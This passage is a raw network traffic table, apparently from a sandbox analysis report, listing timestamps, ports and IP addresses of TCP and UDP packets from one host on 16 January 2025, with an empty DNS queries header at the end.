Jan 16, 2025 17:16:24.943890095 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944299936 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944324017 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944380999 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944411993 CET	443	49741	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.944475889 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944741011 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.944780111 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.944845915 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.945067883 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.945085049 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.198517084 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.199045897 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.199059010 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.200108051 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.200181007 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.200294018 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.201195002 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.201257944 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.201344013 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.201359987 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.201879025 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.201884985 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.202478886 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.202548027 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.203634024 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.203706980 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.203800917 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.203809023 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.229407072 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.229846001 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.229916096 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.230997086 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.231067896 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.231458902 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.231530905 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.231643915 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.231659889 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.246011019 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.246129036 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.277280092 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.453250885 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.453649998 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.453675032 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.454058886 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.454353094 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.454428911 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.454524994 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.468744993 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.468837023 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.468880892 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.470123053 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:25.470138073 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:25.487243891 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:25.487292051 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:25.487365961 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:25.487565994 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:25.487580061 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:25.495328903 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.584614992 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.584732056 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.584816933 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.588953972 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.588973045 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.623491049 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.623599052 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.623680115 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.649629116 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.649658918 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.862952948 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.863069057 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.863137007 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.867101908 CET	49745	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.867125988 CET	443	49745	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.880101919 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.880143881 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:25.880220890 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.880558968 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:25.880577087 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.237787962 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.238054991 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.238081932 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.239161015 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.239222050 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.239679098 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.239758968 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.239886999 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.239897013 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.292978048 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.354352951 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.354652882 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.354671001 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.355710983 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.355758905 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.356518030 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.356537104 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.356574059 CET	443	49747	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.356594086 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.356637001 CET	49747	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.357481956 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.357510090 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.357563972 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.358088017 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.358099937 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.512579918 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.512665033 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.512710094 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.513922930 CET	49746	443	192.168.2.7	18.245.31.49
Jan 16, 2025 17:16:26.513945103 CET	443	49746	18.245.31.49	192.168.2.7
Jan 16, 2025 17:16:26.848372936 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.848881006 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.848917007 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.850066900 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.850399017 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.850539923 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:26.850584984 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:26.902595043 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:27.195152998 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:27.195245981 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:27.195408106 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:27.196412086 CET	49748	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:27.196429014 CET	443	49748	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:29.571960926 CET	80	49725	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:29.572165012 CET	80	49725	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:29.572242022 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:30.228477001 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:30.228756905 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:30.263556957 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:30.268415928 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:32.033262968 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:32.033426046 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:32.033487082 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:32.687645912 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:32.687686920 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:41.035695076 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:41.035865068 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:41.035995007 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:42.263659954 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:42.263684034 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:17:14.574315071 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:17:14.579900026 CET	80	49725	66.63.187.216	192.168.2.7
Jan 16, 2025 17:17:17.704823017 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:17:17.704862118 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:17:17.704984903 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:17:17.705811024 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:17:17.712006092 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:17:18.910415888 CET	63406	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:18.915271044 CET	53	63406	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:18.915421009 CET	63406	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:18.920434952 CET	53	63406	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:19.372931004 CET	63406	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:19.377938032 CET	53	63406	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:19.378017902 CET	63406	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:20.264498949 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:17:20.264574051 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:17:20.270916939 CET	80	49725	66.63.187.216	192.168.2.7
Jan 16, 2025 17:17:20.271044016 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:17:21.529705048 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:21.529743910 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:21.529875994 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:21.530203104 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:21.530217886 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:22.159389973 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:22.159934998 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:22.159955978 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:22.160346031 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:22.160669088 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:22.160742998 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:22.214988947 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:32.211827040 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:32.211900949 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:32.211949110 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:32.264827967 CET	63408	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:17:32.264858961 CET	443	63408	142.250.185.228	192.168.2.7
Jan 16, 2025 17:17:35.132671118 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.132728100 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.132822990 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.133738995 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.133763075 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.613775015 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.614084005 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.614105940 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.615295887 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.615361929 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.615709066 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.615735054 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.615772009 CET	443	63409	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.615792990 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.615825891 CET	63409	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.616257906 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.616301060 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:35.616372108 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.616556883 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:35.616564989 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.087270975 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.087757111 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.087769985 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.088931084 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.089015007 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.089365005 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.089432001 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.089526892 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.089534998 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.136868954 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.840250015 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.840375900 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.840451956 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.847254992 CET	63410	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.847287893 CET	443	63410	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.859054089 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.859114885 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:36.859193087 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.859543085 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:36.859556913 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.379326105 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.379610062 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.379637003 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.380620956 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.380680084 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381387949 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381400108 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381445885 CET	443	63411	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.381464005 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381494045 CET	63411	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381804943 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.381850004 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.381922007 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.382193089 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.382206917 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.865068913 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.865359068 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.865369081 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.866345882 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.866394043 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.866846085 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.866900921 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.867046118 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:37.867050886 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:37.920614004 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:38.230634928 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:38.230758905 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:38.230808020 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:38.233402967 CET	63412	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:17:38.233417034 CET	443	63412	104.21.94.195	192.168.2.7
Jan 16, 2025 17:17:38.239800930 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.239845037 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.239928007 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.240137100 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.240149975 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.750973940 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.751274109 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.751282930 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.752312899 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.752379894 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.753422976 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.753492117 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.753698111 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.753705025 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.798194885 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.881798029 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.881892920 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.881972075 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.882215023 CET	63414	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.882236004 CET	443	63414	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.882900000 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.882944107 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:38.883028030 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.883260012 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:38.883277893 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.344281912 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.344737053 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:39.344770908 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.345118046 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.345423937 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:39.345484972 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.345575094 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:39.387327909 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.618932009 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.619019032 CET	443	63415	35.190.80.1	192.168.2.7
Jan 16, 2025 17:17:39.619096994 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:39.619385004 CET	63415	443	192.168.2.7	35.190.80.1
Jan 16, 2025 17:17:39.619405031 CET	443	63415	35.190.80.1	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:16:04.591875076 CET	49921	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:17.198668003 CET	51266	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:17.199804068 CET	54409	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:17.200323105 CET	53	64257	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:17.207082033 CET	53	54409	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:17.211694956 CET	53	57944	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:17.377002001 CET	53	51266	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:18.481997967 CET	53	65132	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:18.860245943 CET	56472	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:18.860470057 CET	55442	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:18.897313118 CET	53	55442	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:18.902482986 CET	53	56472	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:19.850152016 CET	58757	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:19.850711107 CET	58698	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:20.050005913 CET	53	58698	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:20.052681923 CET	53	58757	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:21.139242887 CET	53257	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:21.139556885 CET	62065	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:21.148001909 CET	53	53257	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:21.149696112 CET	53	62065	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:21.468751907 CET	49704	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:21.468919992 CET	57504	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:21.475440979 CET	53	49704	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:21.475724936 CET	53	57504	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:22.858256102 CET	53	56506	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:23.804049015 CET	53	51010	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:24.210239887 CET	50790	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:24.210654974 CET	55872	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:24.218660116 CET	53	55872	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:24.218703032 CET	53	50790	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:24.428353071 CET	53	64447	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:24.447679996 CET	54799	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:24.447870016 CET	58351	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:24.454780102 CET	53	54799	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:24.454834938 CET	53	58351	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:25.477140903 CET	59522	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:25.477299929 CET	60753	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:25.484061003 CET	53	59522	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:25.486788988 CET	53	60753	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:29.708779097 CET	53	61280	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:31.939990044 CET	138	138	192.168.2.7	192.168.2.255
Jan 16, 2025 17:16:33.560184002 CET	54636	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:35.558635950 CET	53	59784	1.1.1.1	192.168.2.7
Jan 16, 2025 17:16:50.590779066 CET	57965	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:16:54.365185976 CET	53	61158	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:09.435384035 CET	53616	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:16.865775108 CET	53	63534	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:16.948239088 CET	53	50751	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:18.909394979 CET	53	55783	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:38.232439041 CET	51816	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:38.232588053 CET	64805	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:38.239073992 CET	53	51816	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:38.239381075 CET	53	64805	1.1.1.1	192.168.2.7
Jan 16, 2025 17:17:43.971946001 CET	60914	53	192.168.2.7	1.1.1.1
Jan 16, 2025 17:17:47.130661011 CET	53	51109	1.1.1.1	192.168.2.7
Jan 16, 2025 17:18:02.460679054 CET	55320	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
